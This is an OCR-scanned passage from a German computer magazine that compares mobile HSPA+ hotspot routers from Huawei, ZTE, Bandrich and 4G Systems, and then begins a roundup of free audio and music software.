F i rmware-Pol i tur  könnte der BandLuxe noch 
g ut mit den ganz jungen Kandidaten mithal­
ten. Vom Herste l ler  i st da aber anscheinend 
n ichts mehr zu erwarten .  

Huawei E586Bs-2 

Der E586Bs-2 l ässt s ich n u r  bei genauem 
H insehen von Huaweis Mobi l -Router-Urahn  
ES u nterscheiden - er  steckt i m  g le ichen 
ova len ,  an e ine  M i n i se ife er in nernden Ge­
häuse. Das I n nen leben ist jedoch erhebl ich 
aufgewertet. 

Der E586Bs-2 hat wie der Band Luxe e in  
HSPA+-Modem fü r b i s  zu 2 1 ,6 MBit/s a n  
Bord, erreichte im  Test a ber d a n k  besseren 
Stromsparmechan ismen trotz deut l ich klei-

. nerer  Akku-Kapazität längere Laufzeiten. 
Ein d icker Patzer i st H u aweis Qua l itäts­

kontro l l e  a n sche inend entgangen :  Der 
E586Bs-2 kan n  eine e ingesteckte miereSO­
Ka rte n i cht  im WLAN fre igeben.  Zunächst 
feh l t  a uf der  Sta rtse ite das  U ser- In terface 
fü r die F re igabe. Mit ein bisschen Erfah rung 
fi ndet man  es zwa r u nter dem H u awei­
üb l i chen Pfad  " 1 92 . 1 68. 1 . 1  /htm l/sdcard 
shar ing .html". Aber t rotz d iverser Versuche 
und Router-Neustarts l ieß s ich keine  Web­
shar ing-Option mit i rgende inem gäng igen 
Browser e inscha lten; w i r  haben F i refox, In ­
ternet Exp lorer  u n d  Safa ri ausprobiert .  
Als e i nz iger  Ausweg b le i bt, den Router 
ü be r  USB a nzukoppe ln  und die Speicher­
ka rte WLAN-Te i l neh mern per Windows­
oder Mac-OS-X-F re iga be zur Verfügung zu 
ste l len .  

Wen n  d ie  I ngen ieure schon dabei  s ind ,  
den I nterface-Fehler zu beheben, sol lten s ie  
auch  erwägen, e ine gut  leser l i che Besch rif-

Schnell , aber auch schnell 
heiß: Huaweis Topmodel 
E587u-2 
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tung fü r d ie Orientierung der microSD-Karte 
am Gehäuse anzubr ingen.  

Huawei ES86Es 

Huawei steckt seine jüngeren Mobi lfunkrou­
ter i n  Gehäuse m it abgerundeten Ecken .  
Unter d iesen i s t  der ES86Es nu r  wenig g rößer 
a l s  e ine StreichholzschachteL Die Tasten las­
sen sich dank deut l icherem Druckpunkt bes­
ser bed ienen a l s  noch beim ES oder dem 
E586Bs-2. Die Reset-Taste und d ie Antennen­
buchse s ind u nter einer gemeinsamen Klap­
pe verborgen. 

I m  E586Es steckt anscheinend dasse lbe 
Betriebssystem wie i m  E586Bs-2. Jedenfa l l s  
g le ichen s i ch  d ie  Webinterfaces b is  a ufs 
Haar, auch bezüg l ich  des defekten F i l eser­
vice. Im Test i rr it ierte das Gerät e inma l  nach 
dem Wiedereinsetzen des Akkus mit der Mel­
dung "Battery Error". Nach dem Druck a uf 
den E inscha ltknopf verschwand die Meldung 
und der Akku wie auch der gesamte Router 
verrichteten im  Weiteren unauffä l l ig  und zu­
verlässig i h ren Dienst. 

Huawei E587u-2 

H uaweis Topmodel l  u nter den Mobi l fu n k­
Routern ist der E587u-2. Der E587u-2 steckt 
in e inem hü bschen Gehäuse, d ie Tasten be­
schriftung lässt s ich gut ab lesen und der De­
ckel lässt sich leicht entfernen. Der angeraute 
Gehäuseboden erschwert das Rutschen auf 
sch iefen Ebenen wie Autoablagen und  der  
Akku wartet mit  e iner  ü berd u rchschn itt l i ­
chen Kapazität von 2200 mAh a uf. Die mi ­
croSD-Karte lässt s ich nur  e instecken oder  
abziehen, wenn man das Gehäuse öffnet und 
den Akku entfernt. 

Das Gerät nutzt als eines der ersten ü ber­
haupt den HSPA+-Mod us  "Double Carr ier" 
fü r brutto bis zu 42,2 MBit/s und erzielt so fü r 
d iese Geräteklasse sehr hohe Durchsätze. I m  
Test waren i n  Empfangsrichtung i m  M ittel 
netto 1 ,7 bis 1 ,8 M Byte/s zu verze ichnen .  
Wenn  Huawei d ie Stab i l ität verbessert, d ü rfte 
sogar  deutl ich mehr  d ri n  sein, denn ku rzfris-

Erzielte durchweg etwas höheren Durch­
satz als andere Kandidaten mit gleich 
schnellem Mobilfunkmodem: XSBoxGoPius 
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t ig erreichte es immer  wieder sogar  2,5 b is  
2,7 MByte/s, fiel dann aber ab.  

Schon nach kurzem Betrieb wird das Ge­
häuse an e iner  Ecke .merkl ich he iß .  Huawei 
bezeichnet das i n  einer FAQ als normal und 
n icht weiter besorg n i serregend.  I m  Wi nter 
hat man a lso zusätzl ich einen Haru:lwärmer. 

Das D isp lay l iefert H uawei-üb l i ch  d ie  
wicht igsten Status informationen auf e inen 
B l ick: Die verbleibende Akku-Ka pazität, Emp­
fangspegel ,  Netzbetre iber, l n ternetverbin­
d u ng, Ü bertragungsverfa h ren,  Anza h l  der  
WLAN-Ci ients, das aktue l l  ü bertragene Volu­
men sowie d ie Dauer der On l ineverbindung .  

Huawei hat dem E587u-2 zwar Ethernet­
USB-Treiber fü r Mac und Windows m itgege­
ben, aber keinen H inweis zur I n sta l lation und 
N utzu ng, sodass  man e in  wen ig  probieren 
muss. Anders als bei den beiden k le ineren 
H uawei-Brüdern fun kt ion iert beim E587u-2 
auch das F i leshar ing.  Der Admin i strator hat 
dabei al le Zug riffsrechte. WLAN-Tei lnehmern 
kan n  er n u r  Lese- oder Lese- und Schre ib­
rechte gewäh ren .  Mange ls  e iner  echten 
User-Datenbank sind deta i l l ierte Authentifi­
zierungen nicht mög l ich .  

XSBoxGoPius 

I m  XSBoxGoPius  von 4G Systems aus  Ham­
burg steckt e in  HSPA+-Modem fü r bis zu 
2 1 ,6 MBit/s. Dam it erzielte der Router im  Test 
d u rchweg etwas höhere Durchsatzraten a l s  
d ie ebenfa l l s  m i t  2 1  ,6er Modems ausgerüste­
ten Geräte von Bandrich,  H uawei und ZTE. 
Sehr gut gefie l  auch das kontrastreiche Dis­
play, zu mal  d ie Statusinformationen kompakt 
aufbereitet s ind .  Max ima l  kan n  das Router­
ehen wie viele andere bis zu fünf WLAN-Tei l ­
nehmer versorgen, beim XSBoxGoP ius  kann  
man die Zah l  per Menü weiter herabsetzen.  

4G Systems l ieß aber auch P luspunkte l ie­
gen .  So wi rd das  Gerät der  vermeint l ichen 
User-Bequeml ichkeit ha lber ab  Werk m it of­
fenem WLAN ausgel iefert. E in  Ansch luss fü r 
externe Mobi lfun ka ntennen ist n icht e inge­
baut, WLAN-seitig g ibt es n u r  magere 1 1 g­
Kost, den Zugriff auf den microSD-Siot ver-

F lunderflaches Gehäuse, microSD-Siot 
von außen zugänglich, aber Orientierung 
der Karte unklar: ZTE MF62 

sperrt der Akku. Auf d ie  microSD-Karte kann 
man n u r  ü ber WLAN per  Webinterface zu­
g re ifen und muss dafü r jedem Tei lneh mer 
das Admin-Passwort verraten. 

ZTE M F62 

Der ZTE MF62 gehört zu den kleineren Ver­
tretern seiner Gattung.  Im fl underflachen Ge­
häuse steckt ein HSPA+-Modem, das brutto 
bis zu 2 1 ,6 MBit/s l iefert. ZTE hat den Zugang 
zum microSD-S iot außen am Gehäuse ange­
bracht, sodass man die Speicherkä rtchen 
auch im  Betr ieb e insetzen und entfernen 
kann .  Die Orientierung ist aber mangels Be­
schriftung unklar. 

Der Ethernet-USB-Treiber hat im Test wie 
bei anderen Tei lnehmern wie erwartet funk­
t ioniert, ZTE sol lte aber noch den Hinweis 
spend ieren, dass der Treiber am Mac erst nach 
einem Neustart des Rechners aktiv wird. 

Ü ber  das ansprechende Webinterface 
lässt s ich der Router einfach e in richten und 
bed ienen. Der MF62 br ingt wie sein g roßer 
Bruder MF80 eine SMS-Anwendung und 
zudem auch e in  e igenes Telefonbuch mit. 
Das Telefonbuch erfasst E i nträge auf der 
S IM-Karte und kann  weitere im Router selbst 
vorhalten.  Besonders praktisch fanden wir, 
dass beide ZTE-Geräte zusätz l ich zur g rafi­
schen Angabe des Empfangspegels im Dis­
play auch deta i l l iert über die Mobi lfunksig­
na lqua l ität unterrichten: Im  Webinterface fin­
det man eine Pegelanzeige in dBm (RSSI, Re­
ceived S igna l  Strength lnd ication) und auch 
noch die ind ividuel le Nummer der jewei l igen 
Basisstation (Cei i i D) .  

D ie Pegelanzeige er le ichtert d ie Suche 
nach dem optimalen Mobi lfu nkstandort 
Nützl i ch  i st aber auch d ie Cei i i D-Angabe: 
Wen n  d iese bei stat ionärem Betrieb wech­
selt, steht man am Schn ittpunkt zwischen 
zwei Zel len, hat a lso d ie höchste Entfernung 
zu den Basi sstat ionen.  Solche Empfangs la­
gen sol lte man meiden, wei l dort das 
sch lechte S igna l -Rauschverhä ltn is  und die 
häufigen Zel lwechsel (Handover) den Durch­
satz d rücken. 

Der ZTE MFSO überzeugte mit sehr 
hohem Durchsatz, leistete sich aber 
Patzer im WLAN-Bereich. 
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Hersteller/Anbieter 
Firmware-Vers. 
Lieferumfang 
m�gel. Dokumentation 
Ports 
Bedienelemente 
USB-Treiber 
Mobilfunk 

Betriebsarten 

Frequenzbänder UMTS/GSM 
max. Down/Upload 
Auto-APN 
Betriebsartanzeige 
Pegelanzeige Balken/dBm 
SMS-Kommunikation/Adressbuch 
WlAN 

802. 1 1 b/g/n 
max. WLAN-Rate (brutto) 
max. WLAN-Ciients 
Antennen 
auktellbar/abnehmbar/Buchse 
interne Antennen/Diversity wählbar 
Modus: 1 1 b/1 1 g/1 1 n/mixed 
Verschlüsselung: WPA/WPA2 
Verschlüsselung ab Werk ein 
Zwang zur Verschlüsselung 
WLAN-Autokonfiguration 
WLAN abschaltbar/Auto-Aus/ab Werk 
aus 
lntemet-Kommunllcatlon 

ldle-Timeout/Auto reconnect 
manueller Aufbau/Connect-Anzeige 
Zeit-/Volumen-Budget 
DHCP: IP-Reservierung 
DHCP: DNS einstellbar 
Port Forwarding/-Change/-Ranges 
Exposed Host/DMZ 
statische Routen 
MAC-Filter 
Paketfilter Dienst/Quelle/Ziel 
URL-Filter/ Schlüsselwortfilter 
Verkehrsstatistik 
Konfigu11tion 

Interfaces/ Auto-logout 
Smartphone-Anpassung 
UPnP/abschaltbar 
Femkonf./ab Werk aus 
Femkonf. Einschränkung auf Host 
Konf. speichern 
Online-Hilfe aus Router 
erzwingt Passwort-Änderung 
logging 
NTP-Ciient/Server einstellbar/agiert 
als Server 
Onboard-Speicher /Hotplug 
Netzwerkzugrifft Authentifizierung 
USB-Zugriff/Dateisystem 
Akku-Kapazität/gemessene Laufzeit 
Garantie 
Preis 
Support-Telefon 
Hersteller/Anbieter 
Bewertung 

Bedienung 
Sicherheit 
Router-Funktion 
1 siehe Text 

Bandrich 
8.09-060-generic 
Netzteil, Akku, USB-Kabel 
Kurzanl. (engl., 19 S.) 
USB, microSDl, Antenne TS-9 
Ein-Ausschalter, WPS-, Info-Taste 
Mac, Win 

UMTS: HSPA+, HSPA, GSM: EDGE, 
GPRS 
900, 21 00/850, 900, 1 800, 1 900 
21 ,6 MBit/s/5,76 MBit/s 
./ 
./ 
V'/-
- I-

v'/./1-
54 MBit/s 
5 
- /- /V' 

V'/-
- 1- 1- 1./ 
V'/./ 
./ 
./ 
WPS 
v'/v'/-

.//./ 
V'/./ 
-I-

-1- 1-
- I-

HTIP/v' 

- I-
- I-

./ 

- 1-1 -

microSD/­
SMB/./ 1 
./ /FAT32 
2200 mAh/4:1 0  h 
24 Monate 
1 90 € 
+8861227 99-88 51 
bandrich.com/ -

e 
0 
0 

$$ sehr gut $ 9!Jt O zufrledenstellend e sdlledlt 
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Huawei Huawei Huawei 
21 .322.00. 1 1 . 1 001 2 1 .322.00.00.943 1 1 .203.27.00.889 
Netzteil, Akku, USB-Kabel Akku, USB-Kabel Netzteil, Akku, USB-Kabel 
Kurzanl . (deutsch, 19 S.) Kurzanl . (deutsch, 19 S.) Kurzanl. (deutsch, 20 S.) 
USB, microSD USB, microSD USB, microSD1, Antenne TS-9 
Ein-Ausschalter, WPS-, Reset-Taste Ein-Ausschalter, WPS-, Reset-Taste Ein-Ausschalter, WPS-Taste 
Mac, Win Mac, Win Mac, Win 

UMTS: HSPA+, HSPA, GSM: EDGE, UMTS: HSPA+, HSPA, GSM: EDGE, UMTS: DC-HSPA+, HSPA+, HSPA, 
GPRS GPRS GSM: EDGE, GPRS 
900, 21 00/850, 900, 1 800, 1 900 900, 2100/850, 900, 1 800, 1 900 900, 2100/850, 900, 1 800, 1 900 
21,6 MBit/s/5,76 MBit/s 21,6 MBit/s/5,76 MBit/s 42,2 MBit/s/5,76 MByte/s 
./ ./ ./ 
./ ./ ./ 
V'/- V'/- V'/-
V'/- V'/- V'/-

v'/v'/./ v'/v'/./ v'/v'/v' 
72 MBit/s 72 MBit/s 72 MBit/s 
5 5 5 
- /- IV' -/ -IV' - /- IV' 

V'/- V'/- V'/-
.//V' 1- l./ ./ /./1-1./ v'/v'/v'/v' 
.//./ V'/./ .//./ 
./ ./ ./ 
./ ./ ./ 
WPS WPS WPS 
v'/v'/- v'/v'/- V'/.//-

.//./ .//./ V'/./ 
V'/./ V'/./ .//./ 
- I- ._,_ - I-

v'/./1- v'/v'/- v'/v'/-
./I- ./I- V'/-

./ ./ ./ 
./ ./ ./ 

Download, Upload, gesamt, Dauer Download, Upload, gesamt, Dauer Download, Upload, gesamt, Dauer 

HTIP/v' HTIP/v' HTIP/./ 
./ ./ ./ 
.//./ .//./ .//./ 
-I- -I- - I -

./ ./ ./ 

- 1-'- 1- - 1- 1- ./ /FAT32 

microSD/v' microSD/v' microSD/-
_ 1, _ _ 1, _ HTIP/- 1 
./ /FAT32 ./ /FAT32 ./ /FAT32 
1 500 mAh/5:30 h 1 500 mAh/5 h 2200 mAh/5 : 15 h 
24 Monate 24 Monate 24 Monate 
135 € 139 € 219 € 
01805/87 76 82 01805/87 76 82 01805/87 76 82 
huawei.com/wlan-unterwegs.de huawei.com/wlan-unterwegs.de huawei.com/wlan-unterwegs.de 

0 0 0 
Q;) <t> Q;) 
0 0 <t> 

ee sehr sdlledlt V' vorhanden - nidlt vorhanden k. A. keine 

4G Systems 
1 .6 
Netzteil, Akku 
Kurzanl . (eng., 18 S.) 
USB, microSD 1 
Ein-Ausschalter, WPS-, Reset-Taste 

UMTS: HSPA+, HSPA, GSM: EDGE, 
GPRS 
2100/850, 900, 1 800, 1 900 
21 ,6 MBit/s/5,76 MBit/s 
./ 
./ 
V'/-
-I-

v'/v'/-
54 MBit/s 
5 
- 1- 1-

v'/­
v'/v'/- 1-
V'/./ 

./ 
WPS 
- 1- 1-

v'/v'/ 
V'/./ 
-1-
./ 

v'/- 1./ 
V'/-
./ 
./ 
v'/v'/­
;vl-
Download, Upload, Dauer 

HTIP/v' 

- I-

./ 
./ 

./ 
- 1- 1-

microSD/-
HTIP/-
- I-
2600 mAh/8:30 h 
24 Monate 
99 € 
09005/22 22 1 3  
4g-systems.com 

<t> 
0 
0 
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ZTE 
1 .0.0B02/l .O.OB01 
Netzteil, Akku, USB-Kabel 
Kurzanl. (deutsch, 16 S.) 
USB, microSD 

ZTE 
1 .0.0B06/1 .0.0B02 
Netzteil, Akku, USB-Kabel 
Kurzanl . (deutsch, 18 S.) 
USB, microSD 

Ein-Ausschalter, WPS-, Reset-Taste Ein-Aussch., Connect-, WPS-, Reset-Taste 
Mac, Win Mac, Win 

UMTS: HSPA+, HSPA, GSM: EDGE, UMTS: DC-HSPA+, HSPA+, HSPA, 
GPRS GSM: EDGE, GPRS 
850, 21 00/850, 900, 1 800, 1 900 850, 2100/850, 900, 1 800, 1 900 
21,6 MBit/s/5,76 MBit/s 42,2 MBit/s/5,76 MByte/s 
../ ../ 
../ 
viv '  
V'/../ 

V'/V'/V' 
65 MBit/s 
5 
-1- /v 

V'/-
V'/V'/V'/V' 
..//../ 
../ 
../ 
WPS 
- 1- 1-

-IV'/ 
V'/V' 
- I-

V'/-/V' 
- I-

../ 
V'/V'/V' 
- I-

HTIP/v 

-1- 1-

microSD/../ 
HTIP/-
../ /FAT32 
1 500 mAh/4: 1 5 h 
24 Monate 
1 35 € 
01805/ 98 38 35 
zte.com.cn/wlan-unterwegs.de 

® 
® 
0 

../ 
viv '  
..//../ 

V'/V'/V' 
72 MBit/s 
10 
- /- /V' 

V'/-
V'/V'/../1- ' 
..//../ 
../ 
../ 
WPS 
- 1- 1-

- lvl 
V'/../ 
- I-

V'/- /V' 
- I-

../ 
V'/V'/V' 
- I-

HTIP/v 

- I-

- 1- 1-

microSD/../ 
HTIP/ -
../ /FAT32 
1 900 mAh/5 h 
24 Monate 
1 89 € 
01805/98 38 35 
zte.com.cn/wlan-unterwegs.de 

® 
® 

ZTE MFSO 
ZTE hat sein Router-F iaggsch iff, den MF80, 
mit e inem Mobi lfun kmodem ausgerüstet, 
das DC-HSPA+-Verb indungen a ufbauen 
kann,  a l so brutto bis zu 42,2 MBit/s erreicht. 
Als e inziger Testkandidat versorgt er bis zu 1 0  
WLAN-Stationen g leichzeitig .  Zusätzl ich zu 
den klassenüb l ichen E lementen - E i n-Aus­
scha lter, WPS-Taste, Antennenbuchse, mi­
croSD-Siot - findet man außen am Gehäuse 
eine Connect-Taste mit Zusatzfun kt ion:  E in  
l anger  Druck darauf scha ltet zwischen manu­
e l lem und automatischem Verb indungsauf­
bau um,  e in  ku rzer Druck im manue l len 
Modus verbindet und trennt vom I nternet. 

M ic roSD-Ka rten lassen s ich im Betrieb 
wechseln .  Beim MF80 müssen s ie aber deut­
l ich tiefer in den S lot geschoben werden, so­
dass ein langer F ingernagel oder anderweiti­
ges Werkzeug h i lfreich ist. Die Orientierung 
der Kärtchen g ibt auch ZTE n icht an ,  weder 
auf dem Gehäuse, noch i n  der Kurza n leitung.  

Im  Test baute der MF80 trotz der 1 1  b/g/n­
m ixed-E i n stel l ung  auch bei sehr  g uter S ig-

.,. _ _  o2-de 9 18:20 

Network name: 
Network type: 
Signal Ievei: 

Roaming status: 
SIM card status: 
Conneclion status: 
Sent 
Received: 

Duration: 

Current WiR user: 
Baltely Ievei: 

TMO D  
EDGE 
.... 
Roaming 
off 
SIM ready 
Connected 
196.88 1<8 
83.62 1<8 
O day O  
hour 28 
minutes 
1 

Prüfstand I Mobile Hotspots 

Mit dem optionalen 
3600-mAh-Akku 
erreichte der Huawei 
586Bs-2 im Laufzeittest 
bis zu 1 4  Stunden. 

na lqua l ität nur 1 1  g-Verbin­
d u ngen auf. Das drückt 
den WLAN-Durchsatz und 

wi rkt s ich besonders auf 
Übertragungen zwischen WLAN­

Stat ionen aus .  Dabei beherrscht 
der MF80 du rchaus auch 1 1  n-Verbin­

du ngen - aber n u r, wen n  man ihn im 
Webinterface auf " 1 1  n on ly" festnagelt. 

Das sch l ießt aber ä ltere Stationen, d ie nu r  
1 1  g beherrschen, aus .  

Das WPA-Passwort ist  winzig im Gehäuse 
aufgedruckt und um das Eti kett lesen zu kön­
nen, muss man den Akku entfernen. ZTE ver­
wendet dabei  e inen Zeichensatz, bei dem 
sich das g roße I und das k le ine l kaum unter­
scheiden. Im Test stockte der Betrieb e inmal  
ohne ers icht l ichen Grund .  E in  Neusta rt 
brachte den MF80 wieder zur  Raison. 

Der MF80 l ieferte i m  Durchsatztest d ie 
. besten Werte (M itte lwert 2 ,4 MByte/s, Spit­

zenwert 2,8 MByte/s} .  

Fazit 

Alle Kandidaten erfü l lten u nterm Strich zu­
m (ndest die Grunda nforderungen an  d ie 
Geräteklasse: S ie bauen zuverlässig I nternet­
Verb indungen auf und binden Laptops, Tab­
lets und  Smartphones über WLAN an;  d ie 
Akku ka pazitäten re ichen be i  guten Bed in­
g u ngen fü r e inen Nachm ittag im  I nternet. 
Dabei unterstützen sie den N utzer mit knap­
pen, aber verständ l ichen Statusnach richten. 

Die vorderen Plätze belegen der ZTE MF80 
und der Huawei E587u-2 g le ichauf - wegen 
tei l s  deut l icher Patzer kann  aber keiner der 
beiden se ine Vortei l e  i n  e inen Vorsprung 
u msetzen .  A l lerd ings setzen sie sich deutl ich 
gegenü ber den besonders modemseit ig 
schwächer bestückten übrigen Kandidaten 
ab. U nter d iesen fo lgen der ZTE MF62, der 
H uawei E586Es und E586Bs-2 sowie der 
BandLuxe PR39. 

Gerade Letzterer hätte mit besserem Web­
i nterface das Zeug zu mehr. Aber weitere 
Feinarbeit kann man sich bei a l len Kandida­
ten vorstel len . . . (dz) 

Literatur 

[ 1 )  Dusan Zivadinovic, 5traßenfunker, Mobilfunk­

Router mit HSPA+, c't 1 1 /1 1 ,  5. 1 26 

[2) Dusan Zivadi novic, Mehr ist mehr, Wie HSPA+ 

die UMTS-Netze beschleun igt, c't 1 1 /1 1 , 5. 1 30 

[3) Dusan Zivad i novic, Auf dem Vormarsch, LTE 

und U MTS mausern s ich zu DSL-Aiternativen, 

c't 7/1 2, 5. 23 

Praktisch sind die eigens für 
Smartphones angepassten Versionen 
der Webinterfaces - hier ein Beispiel 
vom Huawei E587u-2. ct 
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A ufnehmen, schneiden, mischen, vertag­
gen - oder doch l ieber nur Musik und Vi­

deos am PC gen ießen? Unsere DVD deckt 
praktisch a l le  Anwendungsszenarien ab: Mit 
der Spezia lvers ion des Audials Mediaraptor 9 
SE können Sie Audio und Video von I nternet­
Porta len mitschneiden und  I h re Medien-

sammlungen auffü l len, MediaPorta l 
,_�f Ot..p ) präsentiert d iese dann mit e iner  

eleganten, per Fernbed ienung 
0 steuerbaren Oberfläche. Fü r  

1-� �Q Computer-Mus iker s ind zah l rei-
lt'r-0 ehe v i rtue l le  I n strumente und  

Klangba u kästen mit da bei, Noten 
br ingen Sie beispie lsweise mit der PriMus  c't 
Edition aufs Papier. Videotra in ings zum Um­
gang mit Adobe Prem iere E lements 1 0  und 
zum F i lmen mit d ig ita len Spiegel reflex­
kameras runden das Paket ab. 

Audiobearbeitu ng 

Ei nfach e in  sch lanker Aud ioed itor fü r 
Stereoprojekte: Mit  der  Basic Edit ion 

von Acoustica schneidet man fix Aud io­
dateien zu recht und speichert das Ergebnis 
anschl ießend im MP3-Format - eine im Sys­
tem reg istrierte LAME.d l l  des g le ichnamigen 
MP3-Encoders vorausgesetzt. Beim schnel len 

1 02 

Auffinden e iner best immten Ste l le  in der Au­
d iodatei h i lft der . .  Scrubber"-Mod us ( in  der 
Menüle iste . .  ( ( ( 1 ) ) ) " k l icken oder . .  A" d rücken), 
der ku rze Aud iosa mples u m  den Cu rsor 
herum abspie lt. Ebenfa l l s  der  besseren 
Orientieru ng  d ienen Posit ionsmarken ( . .  L" 
d rücken) und Bereichsmarkierungen (Reg ion 
auswählen, . .  R" d rücken), d ie  man e inzel n  be­
tite ln  und du rch Anfassen der Tite l le iste auch 
umgruppieren kann .  Wie d ie  kommerzie l le  
Version u nterstützt Acoustica Ba s ie das ASIO­
Treibermode l l  und  er la u bt es, VST- sowie 
Di rectX-P iug- ins e inzubinden.  (vza) 

Nach jahre langer Betaphase der 
Version 1 .3.x l iegt endl ich d ie sta­

b i le  Vers ion Audacity 2.0 vor. Sie d ient a l s  
fre ie Alternative zu g roßen Aud iobearbei­
tungsprog rammen wie Adobe Audit ion oder 
Cutmaster. Wie bei den g roßen Vorb i ldern 
kann  der Nutzer auch mehrere Tonspuren zu 
einem Mix a rrangieren. 

Ver lustbehaftet kompr im ierte Aud io­
dateien lassen sich n icht nur auf das Frame 
genau schneiden,  sondern auch  m it e iner  
Auswah l  von Effekten bearbeiten. Gegen­
über den Vorversionen wartet Audacity vor 
a l lem mit besser k l ingenden F i ltern auf. Den 
MP3-Encoder LAM E muss man wie gehabt 

sepa rat nachinsta l l ieren, Gle iches g i lt fü r d ie 
h i nzugekommene FFmpeg-U nterstützung.  
Ü ber d ie LADSPA VST-Bridge lässt s ich das 
Effekt-Repertoire u m  VST-P i ug- ins erweitern. 
Für d iejen igen,  d ie  Audacity immer g riff­
bereit haben wol len,  l iegt Audacity Porta­
ble ebenfa l l s  auf der DVD. (F ior ian Klan/vza) 

Bernd Hel lers AudioSi icer zerlegt MP3-
Dateien - wie DJ-Mixes oder Rad ioauf­

nahmen - in einze lne Mus ikstücke. Das Pro­
gramm sucht dazu nach stummen Ste l len in  
der  Que l ldatei und  trennt s ie i n  e inzelne  
M P3s auf. Das Prog ra m m  l i stet a l l e  mögl i ­
chen Trennste i len  auf  und zersch neidet 
d iese n u r  nach Rückfrage. Optiona l  verbin­
det es bereits getei lte Mus ikstücke wieder. 

(F ior ian Klan/vza) 

Wer s ich Mus ik  fü r den Sport zu­
sammenstel len wi l l , dem h i lft der 

I nterval l  Music Com positor. Per Drag & 
Drop lassen s ich h ier  Songs in e inem Mix zu 
festgelegten Mus ik- und  Pausen- I nterva l len  
a rrang ieren. Dazu wä h l t  man d ie  gesamte 
Spie ldauer sowie die I nterva l l längen der Mu­
s ikausschn itte und Pausen. Die fert ige WAV­
Datei mit dem kompletten Mix kan n  man an­
sch l ießend bei sp ie l sweise mit  lmgBurn auf 
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eine CD brennen.  Wi l l  man die Ausgabe a l s  
MP3 kod ieren, muss man zusätzl ich LAME in ­
sta l l ieren. (hag) 

MIDI & Musik 

Der  Themenbereich wi rkt nu r  auf den ersten 
Bl ick a rg ausgedünnt: Wir widmen dem Mu­
s ikmachen mit und am PC einen eigenen Ar­
t ikel ab Seite 1 08. Daher kommen hier nu r  ei­
n ige Kompositionsh i lfen zum Zuge: 

(\ Das Notensatzprog ramm 
M useScore gefä l lt d u rch 

sei ne übers icht l iche Bed ienoberfläche, das  
k lare Notenb i ld  und  den profess ione l len 
Funktionsumfang .  Über d ie Computertasta­
tur lassen sich Tonhöhen und - längen, Pau­
sen und andere mus ika l i sche Zeichen wie 
B i ndebögen eingeben. MuseScore erste l l t  
obendrein Pa rtituren aus  M ID I-Dateien und 
l ädt  Mus icXML- sowie Capel la-Date ien .  D ie 
Ergebnisse speichert das Prog ramm auch a l s  
PDF ,  PostScript, Wave, SMF oder  ska l ierba re 
Vektorg rafi k. Anhand des i nteg rierten Soft­
ware-Synthesizers lässt s ich d ie Komposition 
d i rekt anhören .  Mus ic  Score Connect (F7) 
ste l l t  d ie Verb indung mit e iner On l i ne-Bibl io­
thek her, aus der man Part ituren anderer An­
wender herunterJaden darf. (uh)  

Das Notensatzprog ramm PriMus 
füh rt ohne lange E inarbeitung zu 

schne l len Ergebnissen.  Im U nterschied zur  
F ree-Version b ietet d ie  c't-Spezia lvers ion 
eine opulente Fü l le  an  Zeichenpaletten und 
Werkzeugen, d ie sonst der Standa rdversion 
vorbeha lten sind. Die Auswah l  an  Notensym­
bolen sch l ießt Schlagzeugnotation, B indebö­
gen, Pausen, Arti ku lat ions- und Dynamikzei­
chen sowie Akkord- und  G riffsymbole e in .  
E in Assistent h i lft be im An legen e iner  neuen 
Partitur, damit d ie  fü r e ine Besetzung not­
wendigen Systeme in der gewünschten Rei­
henfolge angelegt werden.  Notenabstände 
und -pos it ion legt Pr iMus automatisch an ,  
ü berwacht aber n icht d ie  korrekte Anza h l  
von Notenwerten pro Takt. 

Pr iMus import iert M ID I-, Mus icXML- und 
Gu ita r-Pro-Dateien. Be i  M ID I  kann man die zu  

Software-Kol lektion I AudioNideo 

Die Basic-Edition von Acoustica reicht zum Bearbeiten von Stereoprojekten 
völ l ig aus und lässt sich um VST- sowie DirectX-Piug-ins erweitern. 

importierenden Spuren und deren Reihenfol­
ge auswäh len.  Zum Export stehen die Forma­
te MIDI und MusicXML zur Auswahl ;  a lterna­
tiv speichert Pr iMus einzelne Seiten oder Aus­
schn itte a l s  Grafik. Den gesetzten Notentext 
spielt Pr iMus mit einem Genera l -M IDI-Synthe­
sizer ab. Separate Stimmen in einem System 
werden mit u ntersch ied l ichem Sound wie­
dergegeben. Die Pr iMus-c't-Edit ion ist auf 
1 20 Takte und 1 2  Systeme/I nstrumente be­
schränkt - das sind etwa 1 0  Seiten Notentext 
Aus dem Programm heraus (unter H i lfeNer­
günstigte U pgrade-Mög l ichkeiten . . .  ) erhal­
ten Leser um 20 bis 50 Euro vergünstigte U p­
grades auf d ie aktuel len Vol lvers ionen. (uh)  

� Tuxguita r orient iert s ich 
(... ;\, klar an dem bei G itarr isten 

äußerst bel iebten Gu itar Pro, e iner Mischung 
aus  Notat ionsprogramm und  k le inem Se­
quencer. Der Notationstei l kombin iert tradi­
t ionel le Notenschrift mit der bei Saitenspie­
lern weitverbreiteten Tabu latur. 

Die Zuordnung  der e inzelnen Spuren zu 
den Sounds des i nteg r ierten GM-Synthesi­
zers erfolgt ü ber den Sequencer i n  der unte-

ren B i ldsch i rmhä lfte. E inen guten Überbl ick 
über d ie  Le i stungsfäh igkeit von Tuxguitar 
kann man sich verschaffen, indem man s ich 
einen kosten losen Account i n  der Tuxgu ita r­
Com mun ity e in richtet. Ansch l ießend ist es 
mögl ich,  über den Browser im Menüpunkt 
Tool s  auf u nzä h l ige on l i ne  gespeicherte 
Songs zuzugreifen, wenn a l s  Quel le die Tux­
gu itar Commun ity gewählt wurde. 

Tuxgu itar or ientiert sich n icht nu r  h in­
s icht l i ch  der Funkt iona l ität am bereits er­
wäh nten Gu itar P ro, es ka nn  sogar  dessen 
Dateiformat lesen. Damit erweitert s ich der 
Fundus  d ieses Helfer le ins um zah l reiche im 
Netz gespeicherte Partituren. Das  a l lerd ings 
nu r  bis Version 5 von Gu itar Pro, die aktuel le 
Version 6 wird derzeit noch nicht unterstützt. 

Player & Streaming 

Lange Zeit wa r de r  Stereoscopic 
Player (siehe u nten) der ei nzig 

brauch bare Abspie ler fü r stereoskopische 
3D- Inha lte. Mit Bino g ibt es nun eine Alter­
native, die a l le  wesent l ichen Formate unter­
stützt und auch unter Mac OS X läuft. (vza) 

n n ...,., « )) Derezzed [0 03 / 1 44] UU u..t'"' C=> KOnst1er Daft Punk , .AJbum: Tron Leqacyrosn r20 l O  20 1 01 

Wer nu r  e inen einfachen Audioplayer 
sucht, sol lte sich Boom ansehen. Hier 

stehen Einfachheit und E insteigerfreundl ich­
